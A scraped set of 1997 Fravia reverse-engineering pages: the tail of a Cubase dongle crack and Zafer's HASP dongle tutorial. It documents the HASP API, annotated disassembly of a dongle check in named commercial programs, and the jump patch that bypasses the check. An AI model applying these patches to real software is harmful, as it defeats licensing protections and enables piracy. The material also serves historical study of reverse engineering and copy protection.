In this case (and in other ones as well) first try to "emulate" the dongle,
if you understand how it works. If you can't, then try a BRUTE FORCE
approach (read my tutorial) to fool the program (as i did with Cubase).
This is the way to proceed in order to "bruteforcing" a dongle:

1) Write down the locations where the program crashes/does not run
2) Trace back and try to locate the switches (jumps) which jump to these
locations
3) Be sure these locations aren't used in other part of the program as well

Let's start!!!
-----------------------------------------------------------------------------
Ok, are u ready with your Martini Vodka and/or cigarettes AND Softice???
Good...... let's begin eradicating the initial donglecheck!
(you could also try to emulate the dongle by setting BPIO -h on printer
ports such as 0378/0379/037a etc... you will land in the CUBASE.VXD...
and believe me... it's better to try another approach!)
Well, you run Cubase and it popsup with the classic "Plug the dongle,idiot"
screen.... Ah ah ah!! Simply rerun it, Ctrl-D before the nag appears, hit F12
more than once to trace back calls (p ret is for sure one of the best
SoftICE's functions i think, without it some of the hard cracks couldn't be
done) and you'll land in the CUBASE30CM module. Step step and step until
you reach this code (you might need to set some temporaneus BPX to get rid
of cycles_loops, but you will figure out yourself where and how... otherwise
i would spend a whole day writing this tutorial!):

*Initial Check

0013.3C36 6A00 push 0000


0013.3C38 6A00 push 0000
0013.3C3A 56 push si
0013.3C3B 6A3F push 003F
0013.3C3D 6A00 push 0000
0013.3C3F 90 nop
0013.3C40 0E push cs
0013.3C41 E8A924 call 60ED CUBSCM30 (0F) at 3327:c5c6

http://www.instinct.org/fravia/xoacuba1.htm (2 of 3) [2/7/2001 3:12:53 PM]


xoacuba1

(c) Xoanon, 1997. All rights reversed.

You are deep inside fravia's page of reverse


engineering, choose your way out:

Back to project 3

homepage
links
anonymity
+ORC students' essays tools
cocktails

academy database
antismut search_forms mail_fravia

is reverse engineering legal?

http://www.instinct.org/fravia/xoacuba1.htm (3 of 3) [2/7/2001 3:12:53 PM]


zaferdon

Dongle reverse engineering


Hasp dongles

by Zafer/BSCA
(03 September 1997, slightly edited by Fravia)
(Part C added 19 Oct 1997)

Courtesy of Fravia's page of reverse engineering


Well, it was about time that somebody explained the vagaries of dongle reverse engineering... (even if, for now, this tutorial
looks more like a technical specification of the various hasp-dongle services :(
Important stuff, as you wil see. Anyway I must confess that I never used a program with a dongle, and all I knew (before
reading these essays) was that you had to intercept the I/O calls to the dongle parallel port, or, more precisely, fake the return
codes... well, as you'll see reading this very good tutorial by Zafer, one never ends learning!

This tutorial is under development, Zafer has promised to send the remaining parts asap... (dear readers, you are the first in
the world to surf onto such stuff :-)

A tutorial on dongles reverse


engineering

by Zafer, September 1997


A) introduction to HASP. B) let's do it (dos). C) let's do it
(Win). D) tips & tricks.
INTRODUCTION TO HASP These essay series only covers hasp dongle protection
(anyway, i didn't see too many applications using something other than hasp or sentinel)... sentinel dongles are also an
important topic that we must take care of. ok. lets start learning some facts about the hasp family # HASP-3 -------- Cheapest
hasp dongle. # MemoHASP ---------- There are two different memohasp's.. memohasp-1 which has 112 bytes read/write
memory and memohasp-4 which has 496 bytes read/write memory (496 bytes.. argghh) # NetHASP --------- NetHASP is
infact memohasp-4 and by connecting only one hasp to a network station, you can run it from all stations.. (limited users) It
has 496 bytes read/write memory # TimeHASP ---------- These dongles contains internal realtime clock. There are two
different timehasp's timehasp has 16 bytes read/write memory, timehasp-4 has 512 bytes read/write memory # 36 series
----------- HASP 36pin (centronics) versions of HASP. # HASPCard ---------- It allows you to put dongle(s) inside the
computer.. note: HASP dongles uses d0-d7, init, atfdxt, pe lines ("#36 series" uses d0-d7, busy) 0 Hasp Protection Methods 0.1
Hasp Envelope This is just a envelope applied to the executable files.. 0.1.1 HASP Error Level Codes 1 Hasp not found 2
Illegal HASP 3 Program is modified 4 No Authorization 5 Out of runtimes 6 No answer from NetHasp Licence Manager
(Nethasp only) 7 Too many users (Nethasp only) 8 Runtime expired (TimeHasp only) 0.2 API The api (obj or dll) program can
check for the presence (or absence) of the dongle and respond as you wish. And you can gain moreover access to the dongle's

http://www.instinct.org/fravia/zaferdon.htm (1 of 15) [2/7/2001 3:13:01 PM]


zaferdon

memory. 0.2.1 Resident hasp driver It's a tsr which provides the same hasp services as the API. "haspres" is the program. the
default interrupt is int 63h, but it can be loaded as "haspres xx" where xx is the int #. -------------------------------------------------
1. Hands on API Hasp (Service, SeedCode/IdleTime, LptNum/ProgNum, Password1, Password2, Par1, Par2, Par3, Par4) usage
for asm: call: bh=service ax=SeedCode/IdleTime bl=LptNum/ProgNum cx=Password1 dx=Password1 di=address si=data
es=buffer segment (for functions Read/WriteBlock, Set* ; ax=buffer offset) return: ax=Par1 bx=Par2 cx=Par3 dx=Par4 1.1
Service Service Name Operation ------------------------------------------------------------------------- 1 IsHasp Checks if a Hasp is
connected returns Par1 0 no hasp 1 HASP of any type ------------------------------------------------------------------------- 2
HaspCode Gets the return codes for a given seed code. returns Par1/2/3/4 Return Code1/2/3/4
------------------------------------------------------------------------- 3 ReadWord Reads 1 word from MemoHasp returns Par2 1 word
Par3 Status (read Status below) ------------------------------------------------------------------------- 4 WriteWord Writes 1 word to
MemoHasp returns Par3 Status (read Status below) ------------------------------------------------------------------------- 5 HaspStatus
Checks the type of Hasp Checks which port its connected to. Checks to memory size. returns Par1 1 MemoHasp-1 4
MemoHasp-4 0 Other Types Par2 0 HASP-3 1 MemoHasp-1/MemoHasp-4 3 TimeHasp 5 TimeHasp-4 Par3 Paralel port #
------------------------------------------------------------------------- 6 HaspID Gets Hasp ID # returns Par1 Low word of ID # Par2
High word of ID # Par3 Status (read Status below) ------------------------------------------------------------------------- 40 LastStatus
Checks the status of the last call to NetHasp returns Par1 NetStatus 0 last call was successful otherwise its status (read Status
below) Par2 SystemError (a context-dependent errorcode) ------------------------------------------------------------------------- 41
HaspCode Get the return codes for a given seed code. (NetHasp) call SeedCode SeedCode (0-65535) ProgNum Number
assigned to the application in NetHasp Password1 First NetHASP password Password2 Second NetHASP password returns
Par1/2/3/4 Return Code 1/2/3/4 ------------------------------------------------------------------------- 42 Login Requests permission
from NetHasp Licence Manager call SeedCode SeedCode (0-65535) ProgNum Number assigned to the application in NetHasp
Password1 First NetHASP password Password2 Second NetHASP password returns Par1/2/3/4 Return Code 1/2/3/4
------------------------------------------------------------------------- 43 Logout Requests session termination from NetHasp Licence
Manager call ProgNum Number assigned to the application in NetHasp Password1 First NetHASP password Password2
Second NetHASP password ------------------------------------------------------------------------- 44 ReadWord Reads 1 word from
NetHasp call SeedCode SeedCode (0-65535) ProgNum Number assigned to the application in NetHasp Password1 First
NetHASP password Password2 Second NetHASP password Par1 Address (NetHASP mem address 00-247) returns Par2 Data
Par3 Status (read Status below) ------------------------------------------------------------------------- 45 WriteWord Writes 1 word to
NetHasp call SeedCode SeedCode (0-65535) ProgNum Number assigned to the application in NetHasp Password1 First
NetHASP password Password2 Second NetHASP password Par1 Address (NetHASP mem address 00-247) Par2 Data returns
Par3 Status (read Status below) ------------------------------------------------------------------------- 46 HaspID Gets NetHasp ID #
call ProgNum Number assigned to the application in NetHasp Password1 First NetHASP password Password2 Second
NetHASP password returns Par1 IDLow (low word if ID #) Par2 IDHigh (high word if ID #) Par3 Status (read Status below)
Note: ID #=IDLow+65536*IDHigh (idlow,high are unsigned) ------------------------------------------------------------------------- 48
idleTime Specifys a max time frame for idle stations (NetHasp) call IdleTime (time frame in minutes 0-65535) ProgNum
Number assigned to the application in NetHasp Password1 First NetHASP password Password2 Second NetHASP password
------------------------------------------------------------------------- 50 ReadBlock Reads a block from MemoHasp call Par1 Start
Address Defines the initial HASP mem address for reading block 0-55 = MemoHasp-1 0-247= MemoHasp-4 0-247=
TimeHasp-4 Par2 Block Length (Block size in words) Par3 Buffer Segment (Segment address of a variable/address) Par4
Buffer Offset (Offset address of a variable/address) returns Par3 Status (read Status below)
------------------------------------------------------------------------- 51 WriteBlock Writes a block to MemoHasp call Par1 Start
Address Defines the initial HASP mem address for writing block 0-55 = MemoHasp-1 0-247= MemoHasp-4 0-247=
TimeHasp-4 Par2 Block Length (Block size in words) Par3 Buffer Segment (Segment address of a variable/address) Par4
Buffer Offset (Offset address of a variable/address) returns Par3 Status (read Status below)
------------------------------------------------------------------------- 52 ReadBlock Reads a block from NetHasp call ProgNum
Number assigned to the application in NetHasp Password1 First NetHASP password Password2 Second NetHASP password
Par1 Start Address Defines the initial NetHASP mem address for reading block (0-247) Par2 Block Length (Block size in
words) (max 24words) Par3 Buffer Segment (Segment address of a variable/address) Par4 Buffer Offset (Offset address of a
variable/address) returns Par3 Status (read Status below) ------------------------------------------------------------------------- 53
WriteBlock Writes a block to NetHasp call ProgNum Number assigned to the application in NetHasp Password1 First
NetHASP password Password2 Second NetHASP password Par1 Start Address Defines the initial NetHASP mem address for
writing block (0-247) Par2 Block Length (Block size in words) (max 24words) Par3 Buffer Segment (Segment address of a
variable/address) Par4 Buffer Offset (Offset address of a variable/address) returns Par3 Status (read Status below)
------------------------------------------------------------------------- 70 SetTime Sets TimeHasp clock call Password1 first timehasp
password Password2 second timehasp password Par1 Second Par2 Minute Par4 Hour (00-23) returns Par3 Status (read Status

http://www.instinct.org/fravia/zaferdon.htm (2 of 15) [2/7/2001 3:13:01 PM]


zaferdon

below) ------------------------------------------------------------------------- 71 GetTime Gets TimeHasp time call Password1 first


timehasp password Password2 second timehasp password returns Par1 Second Par2 Minute Par3 Status (read Status below)
Par4 Hour (00-23) ------------------------------------------------------------------------- 72 SetDate Sets TimeHasp date call
Password1 first timehasp password Password2 second timehasp password Par1 Day Par2 Month Par4 Year (00-99) returns
Par3 Status (read Status below) ------------------------------------------------------------------------- 73 GetDate Gets Timehasp date
call Password1 first timehasp password Password2 second timehasp password returns Par1 Day Par2 Month Par3 Status (read
Status below) Par4 Year (00-99) ------------------------------------------------------------------------- 74 WriteByte Writes 1 byte to
TimeHasp call Password1 first timehasp password Password2 second timehasp password Par1 Address (mem address of
TimeHasp 00-15) Par2 Data returns Par3 Status (read Status below)
------------------------------------------------------------------------- 75 ReadByte Reads 1 byte from TimeHasp call Password1 first
timehasp password Password2 second timehasp password Par1 Address (mem address of TimeHasp 00-15) returns Par2 Data
Par3 Status (read Status below) ------------------------------------------------------------------------- 76 WriteBlock Writes a block to
TimeHasp call Password1 first timehasp password Password2 second timehasp password Par1 Start Address Defines the initial
TimeHASP mem address for writing block (00-15) Par2 Block Length (Block size in bytes) Par3 Buffer Segment (Segment
address of a variable/address) Par4 Buffer Offset (Offset address of a variable/address) returns Par3 Status (read Status below)
Note: this service only writes the first 16 bytes of TimeHasp, to write a block to 248word mem of TimeHasp-4, use service 51.
------------------------------------------------------------------------- 77 ReadBlock Reads a block from TimeHasp call Password1 first
timehasp password Password2 second timehasp password Par1 Start Address Defines the initial TimeHASP mem address for
reading block (00-15) Par2 Block Length (Block size in bytes) Par3 Buffer Segment (Segment address of a variable/address)
Par4 Buffer Offset (Offset address of a variable/address) returns Par3 Status (read Status below) Note: this service only reads
the first 16 bytes of TimeHasp, to read a block to 248word mem of TimeHasp-4, use service 50.
------------------------------------------------------------------------- 78 GetHaspID Gets TimeHasp ID # call Password1 first timehasp
password Password2 second timehasp password returns Par1 IDLow (low word if ID #) Par2 IDHigh (high word if ID #) Par3
Status (read Status below) Note: ID #=IDLow+65536*IDHigh (idlow,high are unsigned)
------------------------------------------------------------------------- 85 SetConfigName Sets the name of NetHasp conf. file call Par2
BufferSize (byte size of buffer containing the name of NetHasp conf. file) Par3 Buffer Segment (Segment address of the buffer
containing the name of the NetHasp conf. file) Par4 Buffer Offset (Offset address of the buffer containing the name of the
NetHasp conf. file) ------------------------------------------------------------------------- 96 SetServerName Sets the name of Nethasp
Licence Manager to which the protected progie will perform a NetHasp Login call Par2 BufferSize (byte size of buffer
containing the name of NetHasp Licence Manager) Par3 Buffer Segment (Segment address of the buffer containing the name
of the NetHasp Licence Manager) Par4 Buffer Offset (Offset address of the buffer containing the name of the NetHasp Licence
Manager) ------------------------------------------------------------------------- 1.2 SeedCode 1.3 LptNum 0 searches all ports 1/2/3
checks lpt1/lpt2/lpt3 101/102/103 checks 3bc/378/278 ;(ports you'll have to bpio onto :-) 1.4/5 Password 1/2 1.6/7/8
Par(ameters) 1/2/3 1.9 Status Codes 1.9.1 HASP-3, MemoHASP, TimeHASP-4, NetHASP 0 Successful -1 TimeOut
(unsuccessful write operation) -2 Address is out of range -3 Hasp with the specified password was not found -4 Hasp was
found but it's not MemoHASP -5 Unsuccessful write operation -999 Invalid service 1.9.2 TimeHASP, TimeHASP-4 0
Successful -20 Invalid day -21 Invalid month -22 Invalid year -23 Invalid seconds -24 Invalid minutes -25 Invalid hours -26
Invalid address (not in range of 0-15) -27 TimeOut (unsuccessful write operation) -28 Hasp not found -29 Hasp was found but
it's not TimeHASP 1.9.3 HASP Device Drivers -100 Can't open HASP device driver (win32) -101 Can't read HASP device
driver (win32) -102 Can't close HASP device driver (win32) -110 Can't open HASP device driver (dos, dos extender, win)
-111 Can't read HASP device driver (dos, dos extender, win) -112 Can't close HASP device driver (dos, dos extender, win)
-120 Can't allocate DOS memory (dos, dos extender, win protected with stand-alone keys) -121 Can't deallocate DOS memory
(dos, dos extender, win protected with stand-alone keys) 1.9.4 NetHASP LastStatus 0 Successful --Errors which occurs in
communication between proggie and NetHASP Licence Manager Or by the parameters you passed to the routine-- 1 IPX,
NetBios, TCP/IP protocols haven't installed properly 2 Communication error (unable to get socket number) 3 Communication
error 4 No NetHASP licence manager found 5 Cannot read the NetHASP licence manager address file 6 Cannot close the
NetHASP licence manager address file 7 Communication error (failed to send packet) 8 No Answer from NetHASP licence
manager 10 You didn't call Login Service yet 11 Communication error (adapter error) 15 No active NetHASP licence manager
found 18 Can't perform Login because of an unsuccessful SetServerName call 19 Syntax error in conf. file (line # returns in
Par2, if 0 then there is an enviroment variable with an illegal setting) 20 Error handling conf. file (system error code in Par2)
21 Couldn't allocate memory 22 Couldn't deallocate memory 23 Invalid NetHASP mem address 24 Invalid NetHASP service
25 Failed to load winsock.dll 26 Failed to unload winsock.dll 28 winsock.dll startup error 40 NetHASP services are not
supported --Errors which occurs after the client-server communication has been established-- 129 Correct NetHASP is not
connected. 130 ProgNum isn't in the ProgList of NetHASP mem 131 Error reading from NetHASP mem 132 Error writing to
NetHASP mem 133 Login request exceeds the # of stations (limited user) 134 Login request exceeds the # of activations for

http://www.instinct.org/fravia/zaferdon.htm (3 of 15) [2/7/2001 3:13:01 PM]


zaferdon

progie 135 Logout was called before calling login 136 NetHASP license manager is busy. 137 No space in NetHASP log table
138 Internal NetHASP error (# of licensed stations is larger than allowed by NetHASP) 139 Computer with NetHASP crached
& reactivated (must call login again) 140 NetHASP license manager does not serve the network of your station 141 Invalid
service 142 NetHASP license manager matching the name specified in NetHASP conf. file not found 150 No NetHASP
license manager with the assigned name was found 151 Two or more different NetHASP license managers with the assigned
name were found 2.0 Things to remember - there can be more than one seedcode - it can be checking dongle with dummy
passwords to confuse you - it can be using the return code as seed for encryption/variable - read xoanon's doc. (delaying
reactions to a checking) - in the dongles memory, program can store a routine, jumptables, seeds for a decryption etc.. (you
may need the dongle itself in order to crack the dongle at %100)

Let's do it (DOS)
Second and third part will be ready asap, part four is (partly) already there

Let's do it (Windows)

Part C, added 19 Oct 1997

A introduction to hasp
B let's do it
C ------------------------------ LET'S DO IT (WIN)
------------------------
D tips & tricks.

ok. when writing this doc, i searched some `common` programs to give as
examples but there were no programs given to `public` via ftp/www.

so, as my target i chose several different programs from local


companies.

1) Our first Victim "Cevirmen"


Cevirmen translates english-2-turkish, and seems to use Hasp3.

As i got the program, what i did to crack was using my "Trick1".


I plugged my leds to the parallel port, and ran the program. Then a
firmwindow popped up.
I pressed ok and saw my leds flashing. then menu came and i loaded a
txt, then pressed "Automatic Translation". (but nothing happened.)

so, i ldr'ed the program, and traveled throu' the code with f10/f8.
soon after the show_firmwindow call, i saw my leds flashing again. :))
looking after the call, i saw some cmp's. Now i knew which call made the
dongle check.

http://www.instinct.org/fravia/zaferdon.htm (4 of 15) [2/7/2001 3:13:01 PM]


zaferdon

next, i loaded the program with ida 3.7 and go to the call which
checked for dongle.

notes:
1.1) cevirmen uses hasp95.vxd for hasp functions so using a bpio 378
will do no good to us since our program is in ring 3 and vxd is in
ring 0. so you can use bpio -h 378 to set a breakpoint. you'll find
yourself in hasp95.vxd so "p ret"'ing you can go back..
1.2) after disasm'ing program i saw a lot of calls to CheckHasp. so
patching directly the CheckHasp call is a wiser approach.
1.3) luckily this program used only services 1 & 2 to check dongle.
Which are IsHasp & HaspCode (read HaspApi functions) and luckily
again it only compared the return codes of the seed number. (it
could have used the return codes for decryption and/or use it as
a part of code.) ie. ret codes could be the opcodes of mov eax,1.
1.4) i always recommend you to disasm the file, (as i told you
there were too many CheckHasp calls, but there could be some other
direct calls to _hasp)
1.5) i changed the addresses and wrote some comments to let you better
understand in the given disasm forms.
1.6) i'll give these long codes once, so on other cracking usage
refer these.

;S u b r o u t i n e Attributes: bp-based frame


;This is the CheckHasp, it is called many times by the program.

CheckHasp proc near ; CODE XREF: sub_409069+1A6p

arg_0 = dword ptr 8

push ebp
mov ebp, esp
push ebx
mov ebx, [ebp+arg_0]
lea eax, [ebx+0D4h]
push eax
lea edx, [ebx+0D0h]
push edx
lea ecx, [ebx+0CCh] ;
push ecx
lea eax, [ebx+0C8h] ;Ret1
push eax
push dword ptr [ebx+0ACh]
push dword ptr [ebx+0A8h]
push dword ptr [ebx+0B4h]
push dword ptr [ebx+0B0h]
push 1 ; Service 1 (IsHasp) Checks
; if Hasp exists
call HaspPushCall ; call _Hasp

*** cmp dword ptr [ebx+0C8h], 0 ; Par1=0? (No Hasp=0, Hasp exists=1)
*** jnz short HaspFound ; Good Guy

push ebx ; Bad Guy


call sub_460A3E

http://www.instinct.org/fravia/zaferdon.htm (5 of 15) [2/7/2001 3:13:01 PM]


zaferdon

pop ecx
xor eax, eax
pop ebx
pop ebp
retn
;
---------------------------------------------------------------------------

HaspFound: ; CODE XREF: CheckHasp+49j


lea edx, [ebx+0C4h]
push edx
lea ecx, [ebx+0C0h]
push ecx
lea eax, [ebx+0BCh]
push eax
lea edx, [ebx+0B8h]
push edx
push dword ptr [ebx+0ACh]
push dword ptr [ebx+0A8h]
push dword ptr [ebx+0B4h]
push dword ptr [ebx+0B0h]
push 2 ; Service 2 (HaspCode) gets
; return code
call HaspPushCall ; call _Hasp

mov ecx, [ebx+0B8h] ; Check return codes for given


Seed #
cmp ecx, [ebx+0D8h] ;
jnz short HaspFail ;
mov eax, [ebx+0BCh] ;
cmp eax, [ebx+0DCh] ;
jnz short HaspFail ;
mov edx, [ebx+0C0h] ;
cmp edx, [ebx+0E0h] ;
jnz short HaspFail
mov ecx, [ebx+0C4h]
cmp ecx, [ebx+0E4h]
jz short HaspOk

HaspFail: ; CODE XREF: CheckHasp+9Ej


; CheckHasp+ACj ...
push ebx
call sub_460A3E
pop ecx
xor eax, eax
pop ebx
pop ebp
retn
;
---------------------------------------------------------------------------

HaspOk: ; CODE XREF: CheckHasp+C8j


mov eax, 1 ; eax=1 (ok, user has right
dongle)
pop ebx

http://www.instinct.org/fravia/zaferdon.htm (6 of 15) [2/7/2001 3:13:01 PM]


zaferdon

pop ebp
retn
CheckHasp endp

now as you see, the program first checks if the dongle exists. then if
it finds a dongle, it checks for the return codes for the given seed
code. if
that's ok, too; it puts 1 into eax and returns.. Easy.. ie. change
cmp dword ptr [ebx+0C8h], 0 ; Par1=0? (No Hasp=0,
Hasp exists
jnz short HaspFound ; Good Guy :)

to Call HaspOk

then i ran the program again and.. well done Zafer.. :)

but let me show you some details.. first of all the following code
comes with the hasp package for software developers to include in their
code..

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;
;; HASPBC32.ASM
;;
;;
;; Description:
;; This file links the application to the procedure that checks
;; the HASP key. This file performs the following:
;;
;; a. Gets the parameters from the application stack.
;; b. Initialize the appropriate registers.
;; c. Calls haspreg, procedure that checks the HASP key.
;; d. Receives the return values from haspreg and moves them to.
;; the stack.
;;
;; Compilation instructions:
;;
;; masm -Mx haspbc32;
;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

.386P

_TEXT SEGMENT BYTE PUBLIC USE32 'CODE'


ASSUME CS:_TEXT

extrn haspreg : near


public _hasp

;
; Frame structure after pushing EBP.
;
RetCode4 equ [EBP+40]

http://www.instinct.org/fravia/zaferdon.htm (7 of 15) [2/7/2001 3:13:02 PM]


zaferdon

RetCode3 equ [EBP+36]


RetCode2 equ [EBP+32]
RetCode1 equ [EBP+28]
PlugNameHi equ [EBP+24]
PlugNameLow equ [EBP+20]
Lptnum equ [EBP+16]
SeedCode equ [EBP+12]
Cmd equ [EBP+8 ]

_hasp proc near

push Ebp
mov Ebp, Esp

push Eax Ebx Ecx Edx Edi Esi

mov Esi, RetCode1


mov Edi, [Esi]

mov Ebx, 0
mov Ebx, Cmd
mov bh, bl
mov bl, 0
add Ebx, LptNum

mov Eax, SeedCode


mov Ecx, PlugNameLow
mov Edx, PlugNameHi

cmp bh,50
jb NotBlockOperation
mov Esi, RetCode4
mov Eax, [Esi]

NotBlockOperation:

mov Esi, RetCode2


mov Esi, [Esi]

push Ebp
call haspreg
pop Ebp

mov Edi, RetCode1


mov [Edi], Eax
mov Edi, RetCode2
mov [Edi], Ebx
mov Edi, RetCode3
mov [Edi], Ecx
mov Edi, RetCode4
mov [Edi], Edx

pop Esi Edi Edx Ecx Ebx Eax


pop Ebp

http://www.instinct.org/fravia/zaferdon.htm (8 of 15) [2/7/2001 3:13:02 PM]


zaferdon

ret

_hasp endp
_TEXT ENDS
END

ok, this is the common code that you'll see in the hasp protected
programs.
let's see this in our `cevirmen` example.. our example did a
call HaspPushCall ; call _Hasp

HaspPushCall proc near ; CODE XREF: CheckHasp+3Dp


; CheckHasp+8Dp

arg_0 = dword ptr 8


arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h

push ebp
mov ebp, esp
push [ebp+arg_20] ; this part just pushes some
values
push [ebp+arg_1C] ; for the _Hasp
push [ebp+arg_18]
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call NormalHaspCode ; HaspBC32.asm
pop ebp
retn 24h
HaspPushCall endp

i'll skip the NormalHaspCode part since it's the same as


HaspBC32.asm but will show some parts from HaspReg. I won't comment
much since it explains itself.

;the code jumps here from the call haspreg


Hasp_ proc near ; CODE XREF: NormalHaspCode+36p
pusha
lea esi, HaspFFFFFFFF
cmp dword ptr [esi], 0FFFFFFFFh
jz short Hasp_Skip
pusha

http://www.instinct.org/fravia/zaferdon.htm (9 of 15) [2/7/2001 3:13:02 PM]


zaferdon

lea esi, GetEnvStrings


call dword ptr [esi]
lea esi, GetEnvStr_Resul
mov [esi], eax
popa

Hasp_Skip: ; CODE XREF: Hasp_+Aj


lea esi, HaspFFFFFFFF
cmp dword ptr [esi], 0FFFFFFFFh
jnz Hasp_Exit
lea eax, aKernel32_dll
push eax
call j_GetModuleHandleA
lea esi, ModHandle_Resul
mov [esi], eax
call ModProcAddy
lea esi, GetEnvStrings
call dword ptr [esi]
lea esi, GetEnvStr_Resul
mov [esi], eax
lea esi, H_Version
mov dword ptr [esi], 94h
push esi
lea esi, GetVersExA
call dword ptr [esi]
lea esi, H_Version
mov eax, [esi+10h]
lea esi, HaspFFFFFFFF
mov [esi], eax
cmp eax, 2
jz loc_469908
cmp eax, 1
jz loc_469908
lea eax, aUtregister
push eax
lea esi, ModHandle_Resul
mov eax, [esi]
push eax
call j_GetProcAddress
cmp eax, 0
jnz short ProcNotFnd
lea esi, HaspFFFFFFFF
mov dword ptr [esi], 1
jmp loc_469908
; -----------------------------------------------------------------

ProcNotFnd: ; CODE XREF: Hasp_+A6j


lea esi, dword_4D9175
mov [esi], eax
lea esi, ModHandle_Resul
mov eax, [esi]
lea esi, aUtunregister
push esi
push eax
call j_GetProcAddress

http://www.instinct.org/fravia/zaferdon.htm (10 of 15) [2/7/2001 3:13:02 PM]


zaferdon

lea esi, dword_4D9171


mov [esi], eax
mov eax, 4000h
push eax
lea eax, byte_4D90E1
push eax
lea eax, HaspUt16Dll ;
push eax ;
lea esi, OpnFile ;Open Hasp NOT a real file.
call dword ptr [esi]
cmp eax, 0FFFFFFFFh
jz short loc_469908
lea esi, HaspFFFFFFFF
mov dword ptr [esi], 0Bh
push 0
lea esi, dword_4D9011
call dword ptr [esi]
lea esi, dword_4D91AA
mov [esi], eax
push 0
push 0
lea eax, dword_4D941C
push eax
push 3
push 2
lea eax, HaspUt16Dll
push eax
lea esi, dword_4D91AA
mov eax, [esi]
push eax
lea esi, dword_4D9175
call dword ptr [esi]
push 0
push 2
lea esi, MessagBoxA_2
push esi
lea esi, dword_4D941C
call dword ptr [esi]
lea esi, MessagBoxA_2
cmp word ptr [esi], 0
jz short loc_469908
lea esi, HaspFFFFFFFF
mov dword ptr [esi], 0Ah

loc_469908: ; CODE XREF: Hasp_+7Fj


Hasp_+88j ...
call MovEmAll

Hasp_Exit: ; CODE XREF: Hasp_+27j


popa
lea ebp, H_JmpAdy
call dword ptr [ebp+0]
pusha
lea esi, GetEnvStr_Resul
push dword ptr [esi]

http://www.instinct.org/fravia/zaferdon.htm (11 of 15) [2/7/2001 3:13:02 PM]


zaferdon

lea esi, FreeEnvStrA ; Free Envs


call dword ptr [esi]
popa
retn
Hasp_ endp ; sp = -40h

and let's see the data parts

seg002 segment para public 'DATA' use32


assume cs:seg002
;org 4D9000h
aGetmodulehandl db 'GetModuleHandleA',0 ; DATA XREF: ModProcAddyo
dword_4D9011 dd 0 ; DATA XREF: ModProcAddy+12w
..........
a_Hasp95 db '\\.\HASP95',0 ; DATA XREF: CODE:004691EEo
aDeviceiocontro db 'DeviceIoControl',0 ; DATA XREF: ModProcAddy+17o
dword_4D9030 dd 0 ; DATA XREF: ModProcAddy+29w
..........
aLoadlibrarya db 'LoadLibraryA',0 ; DATA XREF: ModProcAddy+170o
..........
H_Version db 94h dup(0) ; DATA XREF: Hasp_+56o
Hasp_+6Bo
..........
HaspUt16Dll db 'HASPUT16.DLL',0 ; DATA XREF: Hasp_+EBo
Hasp_+12Co
aNetapi32_dll db 'NETAPI32.DLL',0 ; DATA XREF: CODE:00469392o
..........
a_Hasp db '\\.\HASP',0
..........

i removed the `....` parts since i don't want this text to be long and
we don't need to know them for this program. but the removed parts
included NetApi32 functions for the NetHasp dongle checking which is
in fact important if you're cracking a program using NetHasp.

2) Our Second Victim "MTH Psikrometrik Hesabi"


this program is a kinda addon for acad13.. when you run the program
a msgbox saying "no dongle or wrong dongle" appears.

notes:
1.1) this program is a VB4 program.. (damn) It uses hasp95.vxd and
haspvb32.dll
1.2) dodi's vb4tools (4.10 sept '97) can't disasm with error message
"can't handle bla bla)

ok.. since we can't ida/vb4disasm the program so what?.. well,


here is what i did.. I installed the vb40.. wrote a simple program like
a=10
if a=0 then c=1
if a=&hffff then c=1
if a<>0 then .... etc etc

http://www.instinct.org/fravia/zaferdon.htm (12 of 15) [2/7/2001 3:13:02 PM]


zaferdon

and examined the result exe trying to figure what the


"basic cmp"'s hex form is. And found that
07 xx xx xx xx YY 00 e8 03
xx..xx=is the number you compare (ie. if a=0 (x..x=0))
yy=comparison (ie. equal, smaller, greater etc.)

then using bpio -h 378 i tried to find which part checked for
dongle... after some "p ret"'ing i found myself in vb40032.dll and found
that there is a part by which your basic code is executed, esi=your basic
code address. for my example esi=4d2cf8 was IsHasp, 4d2d5b was HaspStatus
etc. and here is how that looks in the exe file.

004D2CF8: B8 15 4A 00 FE 07 84 05
-----------> offset Jumper (IsHasp)
004D2D00: 08 00 0C 00 50 07 00 00-00 00 56 00 E8 03 6C 03 ;07 (00.00.00.00) cmp 0
-- ----------- -----------> (56) equal
004D2D10: 94 02 A2 05 08 00 00 00-9C 02 A2 05 08 00 06 00
004D2D20: 98 05 08 00 18 00 98 05-08 00 14 00 98 05 08 00
004D2D30: 10 00 98 05 08 00 0C 00-84 05 08 00 34 04 84 05
004D2D40: 08 00 30 04 50 07 00 00-00 00 50 07 2C 01 00 00
004D2D50: 82 05 08 00 06 00 1E 02-38 06 B8 15 4A 00 FE 07
-----------> offset Jumper
(HaspStatus)
004D2D60: 84 05 08 00 10 00 50 07-03 00 00 00 56 00 E8 03 ;07 (00..03) cmp 3
-- ----------- -----------> (56) equal
004D2D70: CE 03 94 02 A2 05 08 00-00 00 9E 02 A2 05 08 00
004D2D80: 06 00 98 05 08 00 18 00-98 05 08 00 14 00 98 05
004D2D90: 08 00 10 00 98 05 08 00-0C 00 84 05 08 00 34 04
004D2DA0: 84 05 08 00 30 04 50 07-00 00 00 00 50 07 2C 01
004D2DB0: 00 00 82 05 08 00 06 00-1E 02 38 06 B8 15 4A 00
-----------> offset
Jumper (GetHaspID)
004D2DC0: FE 07 84 05 08 00 14 00-50 07 00 00 00 00 6C 00 ;07 (00..00) cmp 0
-- ----------- -----
004D2DD0: E8 03 34 04 94 02 A2 05-08 00 00 00 E6 03 20 05
-----> (6c) different
004D2DE0: 84 05 08 00 10 00 50 07-00 00 00 00 AE 00 E8 03 ;07 (00..00) cmp 0
-- ----------- -----------> (ae) smaller
004D2DF0: B0 04 84 05 08 00 0C 00-50 07 00 00 00 00 AE 00 ;07 (00..00) cmp 0
-- ----------- -----
004D2E00: E8 03 88 04 50 07 00 00-01 00 84 05 08 00 10 00
-----> (ae) smaller
